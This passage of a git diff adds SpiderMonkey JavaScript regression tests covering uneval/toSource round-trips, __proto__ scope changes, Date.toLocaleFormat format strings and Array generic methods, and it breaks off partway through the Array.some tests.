+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/scope-001.js b/js/src/tests/js1_5/extensions/scope-001.js
new file mode 100644
index 000000000..b1982126a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/scope-001.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '53268';
+var status = 'Testing scope after changing obj.__proto__';
+var expect= '';
+var actual = '';
+var obj = {};
+
+Object.defineProperty(this, "five", {
+ value: 5,
+ enumerable: true,
+ writable: false
+});
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ("test");
+ printBugNumber(BUGNUMBER);
+ printStatus (status);
+
+
+ status= 'Step 1: setting obj.__proto__ = global object';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+ obj.five=1;
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 2: setting obj.__proto__ = null';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=undefined;
+ reportCompare (expect, actual, status);
+
+ obj.five=2;
+ actual = obj.five;
+ expect=2;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 3: setting obj.__proto__ to global object again';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=2; //<--- (FROM STEP 2 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=3;
+ actual = obj.five;
+ expect=3;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 4: setting obj.__proto__ to null again';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=3; //<--- (FROM STEP 3 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=4;
+ actual = obj.five;
+ expect=4;
+ reportCompare (expect, actual, status);
+
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/extensions/shell.js b/js/src/tests/js1_5/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/shell.js
diff --git a/js/src/tests/js1_5/extensions/toLocaleFormat-01.js b/js/src/tests/js1_5/extensions/toLocaleFormat-01.js
new file mode 100644
index 000000000..02f269125
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/toLocaleFormat-01.js
@@ -0,0 +1,230 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 291494;
+var summary = 'Date.prototype.toLocaleFormat extension';
+var actual = '';
+var expect = '';
+var temp;
+
+/*
+ * SpiderMonkey only.
+ *
+ * When the output of toLocaleFormat exceeds 100 bytes toLocaleFormat
+ * defaults to using toString to produce the result.
+*/
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var date = new Date("06/05/2005 00:00:00 GMT-0000");
+
+expect = date.getTimezoneOffset() > 0 ? 'Sat' : 'Sun';
+actual = date.toLocaleFormat('%a');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%a")');
+
+expect = date.getTimezoneOffset() > 0 ? 'Saturday' : 'Sunday';
+actual = date.toLocaleFormat('%A');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%A")');
+
+expect = 'Jun';
+actual = date.toLocaleFormat('%b');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%b")');
+
+expect = 'June';
+actual = date.toLocaleFormat('%B');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%B")');
+
+expect = (date.getTimezoneOffset() > 0) ? '04' : '05';
+actual = date.toLocaleFormat('%d');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%d")');
+
+expect = '0';
+actual = String((Number(date.toLocaleFormat('%H')) +
+ date.getTimezoneOffset()/60) % 24);
+reportCompare(expect, actual, 'Date.toLocaleFormat(%H)');
+
+expect = '12';
+actual = String(Number(date.toLocaleFormat('%I')) +
+ date.getTimezoneOffset()/60);
+reportCompare(expect, actual, 'Date.toLocaleFormat(%I)');
+
+expect = String(155 + ((date.getTimezoneOffset() > 0) ? 0 : 1));
+actual = date.toLocaleFormat('%j');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%j")');
+
+expect = '06';
+actual = date.toLocaleFormat('%m');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%m")');
+
+expect = '00';
+actual = date.toLocaleFormat('%M');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%M")');
+
+expect = true;
+temp = date.toLocaleFormat('%p');
+actual = temp == 'AM' || date.toLocaleFormat('%p') == 'PM';
+reportCompare(expect, actual, 'Date.toLocaleFormat("%p") is AM or PM');
+
+expect = '00';
+actual = date.toLocaleFormat('%S');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%S")');
+
+expect = String(22 + ((date.getTimezoneOffset() > 0) ? 0 : 1));
+actual = date.toLocaleFormat('%U');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%U")');
+
+expect = String((6 + ((date.getTimezoneOffset() > 0) ? 0 : 1))%7);
+actual = date.toLocaleFormat('%w');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%w")');
+
+expect = '22';
+actual = date.toLocaleFormat('%W');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%W")');
+
+expect = '05';
+actual = date.toLocaleFormat('%y');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%y")');
+
+expect = '2005';
+actual = date.toLocaleFormat('%Y');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%Y")');
+
+expect = '%';
+actual = date.toLocaleFormat('%%');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%%")');
+
+
+expect = '1899 99';
+temp='%Y %y';
+actual = new Date(0, 0, 0, 13, 14, 15, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '1899189918991899189918991899189918991899189918991899189918991899189918991899189918991899';
+temp = '%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(0, 0, 0, 13, 14, 15, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxx189918991899189918991899189918991899189918991899189918991899189918991899189918991899189918991899';
+temp = 'xxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(0, 0, 0, 13, 14, 15, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = new Date(0, 0, 0, 13, 14, 15, 0).toString();
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(0, 0, 0, 13, 14, 15, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxxx189918991899189918991899189918991899';
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(0, 0, 0, 13, 14, 15, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+
+expect = '-51 49';
+temp = '%Y %y';
+actual = new Date(-51, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51';
+temp = '%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-51, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxx-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51-51';
+temp = 'xxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-51, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = new Date(-51, 0).toString();
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-51, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+
+expect = '1851 51';
+temp = '%Y %y';
+actual = new Date(1851, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '1851185118511851185118511851185118511851185118511851185118511851185118511851185118511851';
+temp = '%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(1851, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxx185118511851185118511851185118511851185118511851185118511851185118511851185118511851185118511851';
+temp = 'xxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(1851, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = new Date(1851, 0).toString();
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(1851, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+
+expect = '-1 99';
+temp = '%Y %y';
+actual = new Date(-1, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '-100 00';
+temp = '%Y %y';
+actual = new Date(-100, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '1900 00';
+temp = '%Y %y';
+actual = new Date(0, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '1901 01';
+temp = '%Y %y';
+actual = new Date(1, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '1970 70';
+temp = '%Y %y';
+actual = new Date(1970, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+
+expect = new Date(32767, 0).toString();
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(32767, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = '32767327673276732767327673276732767327673276732767327673276732767327673276732767327673276732767';
+temp = '%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(32767, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxxx32767327673276732767327673276732767327673276732767327673276732767327673276732767327673276732767';
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(32767, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = new Date(32767, 0).toString();
+temp = 'xxxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(32767, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+
+expect = '-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999';
+temp = '%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-9999, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = 'xxxx-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999-9999';
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-9999, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
+
+expect = new Date(-9999, 0).toString();
+temp = 'xxxx%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y%Y';
+actual = new Date(-9999, 0).toLocaleFormat(temp);
+reportCompare(expect, actual, 'Date.toLocaleFormat("'+temp+'")');
diff --git a/js/src/tests/js1_5/extensions/toLocaleFormat-02.js b/js/src/tests/js1_5/extensions/toLocaleFormat-02.js
new file mode 100644
index 000000000..8fb87a0fc
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/toLocaleFormat-02.js
@@ -0,0 +1,105 @@
+// |reftest| fails-if(xulRuntime.OS=="WINNT") skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 291494;
+var summary = 'Date.prototype.toLocaleFormat extension';
+var actual = '';
+var expect = '';
+var temp;
+
+/*
+ * SpiderMonkey only.
+ *
+ * This test uses format strings which are not supported cross
+ * platform and are expected to fail on at least some platforms
+ * however they all currently pass on Linux (Fedora Core 6). They are
+ * included here in order to increase coverage for cases where a crash
+ * may occur. These failures will be tracked in the
+ * mozilla/js/tests/public-failures.txt list.
+ *
+ */
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var date = new Date("06/05/2005 00:00:00 GMT-0000");
+
+expect = '20';
+actual = date.toLocaleFormat('%C');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%C")');
+
+expect = date.toLocaleFormat('%C%y');
+actual = date.toLocaleFormat('%Y');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%C%y") == ' +
+ 'Date.toLocaleFormat("%Y")');
+
+expect = date.toLocaleFormat('%m/%d/%y');
+actual = date.toLocaleFormat('%D');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%m/%d/%y") == ' +
+ 'Date.toLocaleFormat("%D")');
+
+expect = (date.getTimezoneOffset() > 0) ? ' 4' : ' 5';
+actual = date.toLocaleFormat('%e');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%e")');
+
+expect = date.toLocaleFormat('%Y-%m-%d');
+actual = date.toLocaleFormat('%F');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%Y-%m-%d") == ' +
+ 'Date.toLocaleFormat("%F")');
+
+expect = '05';
+actual = date.toLocaleFormat('%g');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%g")');
+
+expect = '2005';
+actual = date.toLocaleFormat('%G');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%G")');
+
+expect = date.toLocaleFormat('%b');
+actual = date.toLocaleFormat('%h');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%b") == ' +
+ 'Date.toLocaleFormat("%h")');
+
+expect = '\n';
+actual = date.toLocaleFormat('%n');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%n") == "\\n"');
+
+expect = date.toLocaleFormat('%I:%M:%S %p');
+actual = date.toLocaleFormat('%r');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%I:%M:%S %p") == ' +
+ 'Date.toLocaleFormat("%r")');
+
+expect = date.toLocaleFormat('%H:%M');
+actual = date.toLocaleFormat('%R');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%H:%M") == ' +
+ 'Date.toLocaleFormat("%R")');
+
+expect = '\t';
+actual = date.toLocaleFormat('%t');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%t") == "\\t"');
+
+expect = date.toLocaleFormat('%H:%M:%S');
+actual = date.toLocaleFormat('%T');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%H:%M:%S") == ' +
+ 'Date.toLocaleFormat("%T")');
+
+expect = String(6 + ((date.getTimezoneOffset() > 0) ? 0 : 1));
+actual = date.toLocaleFormat('%u');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%u")');
+
+expect = '22';
+actual = date.toLocaleFormat('%V');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%V")');
+
+print('Note: For Date.toLocaleFormat("%m/%d/%y") == Date.toLocaleFormat("%x") ' +
+ 'to pass in Windows, the Regional Setting for the short date must be ' +
+ 'set to mm/dd/yyyy');
+expect = date.toLocaleFormat('%m/%d/%Y');
+actual = date.toLocaleFormat('%x');
+reportCompare(expect, actual, 'Date.toLocaleFormat("%m/%d/%Y") == ' +
+ 'Date.toLocaleFormat("%x")');
diff --git a/js/src/tests/js1_5/shell.js b/js/src/tests/js1_5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/shell.js
diff --git a/js/src/tests/js1_5/template.js b/js/src/tests/js1_5/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_5/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Array/browser.js b/js/src/tests/js1_6/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/Array/browser.js
diff --git a/js/src/tests/js1_6/Array/filter.js b/js/src/tests/js1_6/Array/filter.js
new file mode 100644
index 000000000..6cb929014
--- /dev/null
+++ b/js/src/tests/js1_6/Array/filter.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364603";
+var summary = "The value placed in a filtered array for an element is the " +
+ " element's value before the callback is run, not after";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function mutate(val, index, arr)
+{
+ arr[index] = "mutated";
+ return true;
+}
+
+function assertEqual(v1, v2, msg)
+{
+ if (v1 !== v2)
+ throw msg;
+}
+
+try
+{
+ var a = [1, 2];
+ var m = a.filter(mutate);
+
+ assertEqual(a[0], "mutated", "Array a not mutated!");
+ assertEqual(a[1], "mutated", "Array a not mutated!");
+
+ assertEqual(m[0], 1, "Filtered value is value before callback is run");
+ assertEqual(m[1], 2, "Filtered value is value before callback is run");
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/generics.js b/js/src/tests/js1_6/Array/generics.js
new file mode 100644
index 000000000..c72149114
--- /dev/null
+++ b/js/src/tests/js1_6/Array/generics.js
@@ -0,0 +1,331 @@
+var BUGNUMBER = 1263558;
+var summary = "Self-host all Array generics.";
+
+print(BUGNUMBER + ": " + summary);
+
+var arr, arrLike, tmp, f;
+
+function reset() {
+ arr = [5, 7, 13];
+ arrLike = {
+ length: 3,
+ 0: 5,
+ 1: 7,
+ 2: 13,
+ toString() {
+ return "arrLike";
+ }
+ };
+ tmp = [];
+}
+function toString() {
+ return "G";
+}
+
+// Array.join (test this first to use it in remaining tests).
+reset();
+assertThrowsInstanceOf(() => Array.join(), TypeError);
+assertEq(Array.join(arr), "5,7,13");
+assertEq(Array.join(arr, "-"), "5-7-13");
+assertEq(Array.join(arrLike), "5,7,13");
+assertEq(Array.join(arrLike, "-"), "5-7-13");
+
+// Array.concat.
+reset();
+assertThrowsInstanceOf(() => Array.concat(), TypeError);
+assertEq(Array.join(Array.concat(arr), ","), "5,7,13");
+assertEq(Array.join(Array.concat(arr, 11), ","), "5,7,13,11");
+assertEq(Array.join(Array.concat(arr, 11, 17), ","), "5,7,13,11,17");
+assertEq(Array.join(Array.concat(arrLike), ","), "arrLike");
+assertEq(Array.join(Array.concat(arrLike, 11), ","), "arrLike,11");
+assertEq(Array.join(Array.concat(arrLike, 11, 17), ","), "arrLike,11,17");
+
+// Array.lastIndexOf.
+reset();
+assertThrowsInstanceOf(() => Array.lastIndexOf(), TypeError);
+assertEq(Array.lastIndexOf(arr), -1);
+assertEq(Array.lastIndexOf(arr, 1), -1);
+assertEq(Array.lastIndexOf(arr, 5), 0);
+assertEq(Array.lastIndexOf(arr, 7), 1);
+assertEq(Array.lastIndexOf(arr, 13, 1), -1);
+assertEq(Array.lastIndexOf(arrLike), -1);
+assertEq(Array.lastIndexOf(arrLike, 1), -1);
+assertEq(Array.lastIndexOf(arrLike, 5), 0);
+assertEq(Array.lastIndexOf(arrLike, 7), 1);
+assertEq(Array.lastIndexOf(arrLike, 13, 1), -1);
+
+// Array.indexOf.
+reset();
+assertThrowsInstanceOf(() => Array.indexOf(), TypeError);
+assertEq(Array.indexOf(arr), -1);
+assertEq(Array.indexOf(arr, 1), -1);
+assertEq(Array.indexOf(arr, 5), 0);
+assertEq(Array.indexOf(arr, 7), 1);
+assertEq(Array.indexOf(arr, 1, 5), -1);
+assertEq(Array.indexOf(arrLike), -1);
+assertEq(Array.indexOf(arrLike, 1), -1);
+assertEq(Array.indexOf(arrLike, 5), 0);
+assertEq(Array.indexOf(arrLike, 7), 1);
+assertEq(Array.indexOf(arrLike, 1, 5), -1);
+
+// Array.forEach.
+reset();
+assertThrowsInstanceOf(() => Array.forEach(), TypeError);
+assertThrowsInstanceOf(() => Array.forEach(arr), TypeError);
+assertThrowsInstanceOf(() => Array.forEach(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(this, ...args);
+};
+tmp = [];
+Array.forEach(arr, f);
+assertEq(tmp.join(","), "G,5,0,5,7,13," + "G,7,1,5,7,13," + "G,13,2,5,7,13");
+tmp = [];
+Array.forEach(arr, f, "T");
+assertEq(tmp.join(","), "T,5,0,5,7,13," + "T,7,1,5,7,13," + "T,13,2,5,7,13");
+tmp = [];
+Array.forEach(arrLike, f);
+assertEq(tmp.join(","), "G,5,0,arrLike," + "G,7,1,arrLike," + "G,13,2,arrLike");
+tmp = [];
+Array.forEach(arrLike, f, "T");
+assertEq(tmp.join(","), "T,5,0,arrLike," + "T,7,1,arrLike," + "T,13,2,arrLike");
+
+// Array.map.
+reset();
+assertThrowsInstanceOf(() => Array.map(), TypeError);
+assertThrowsInstanceOf(() => Array.map(arr), TypeError);
+assertThrowsInstanceOf(() => Array.map(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(this, ...args);
+ return args[0] * 2;
+}
+tmp = [];
+assertEq(Array.join(Array.map(arr, f), ","), "10,14,26");
+assertEq(tmp.join(","), "G,5,0,5,7,13," + "G,7,1,5,7,13," + "G,13,2,5,7,13");
+tmp = [];
+assertEq(Array.join(Array.map(arr, f, "T"), ","), "10,14,26");
+assertEq(tmp.join(","), "T,5,0,5,7,13," + "T,7,1,5,7,13," + "T,13,2,5,7,13");
+tmp = [];
+assertEq(Array.join(Array.map(arrLike, f), ","), "10,14,26");
+assertEq(tmp.join(","), "G,5,0,arrLike," + "G,7,1,arrLike," + "G,13,2,arrLike");
+tmp = [];
+assertEq(Array.join(Array.map(arrLike, f, "T"), ","), "10,14,26");
+assertEq(tmp.join(","), "T,5,0,arrLike," + "T,7,1,arrLike," + "T,13,2,arrLike");
+
+// Array.filter.
+reset();
+assertThrowsInstanceOf(() => Array.filter(), TypeError);
+assertThrowsInstanceOf(() => Array.filter(arr), TypeError);
+assertThrowsInstanceOf(() => Array.filter(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(this, ...args);
+ return args[0] < 10;
+}
+tmp = [];
+assertEq(Array.join(Array.filter(arr, f), ","), "5,7");
+assertEq(tmp.join(","), "G,5,0,5,7,13," + "G,7,1,5,7,13," + "G,13,2,5,7,13");
+tmp = [];
+assertEq(Array.join(Array.filter(arr, f, "T"), ","), "5,7");
+assertEq(tmp.join(","), "T,5,0,5,7,13," + "T,7,1,5,7,13," + "T,13,2,5,7,13");
+tmp = [];
+assertEq(Array.join(Array.filter(arrLike, f), ","), "5,7");
+assertEq(tmp.join(","), "G,5,0,arrLike," + "G,7,1,arrLike," + "G,13,2,arrLike");
+tmp = [];
+assertEq(Array.join(Array.filter(arrLike, f, "T"), ","), "5,7");
+assertEq(tmp.join(","), "T,5,0,arrLike," + "T,7,1,arrLike," + "T,13,2,arrLike");
+
+// Array.every.
+reset();
+assertThrowsInstanceOf(() => Array.every(), TypeError);
+assertThrowsInstanceOf(() => Array.every(arr), TypeError);
+assertThrowsInstanceOf(() => Array.every(arrLike), TypeError);
+f = function(...args) {
+ tmp.push(this, ...args);
+ return args[0] < 6;
+}
+tmp = [];
+assertEq(Array.every(arr, f), false);
+assertEq(tmp.join(","), "G,5,0,5,7,13," + "G,7,1,5,7,13");
+tmp = [];
+assertEq(Array.every(arr, f, "T"), false);
+assertEq(tmp.join(","), "T,5,0,5,7,13," + "T,7,1,5,7,13");
+tmp = [];
+assertEq(Array.every(arrLike, f), false);
+assertEq(tmp.join(","), "G,5,0,arrLike," + "G,7,1,arrLike");
+tmp = [];
+assertEq(Array.every(arrLike, f, "T"), false);
+assertEq(tmp.join(","), "T,5,0,arrLike," + "T,7,1,arrLike");
+
+// Array.some.
+reset();
+assertThrowsInstanceOf(() => Array.some(), TypeError);
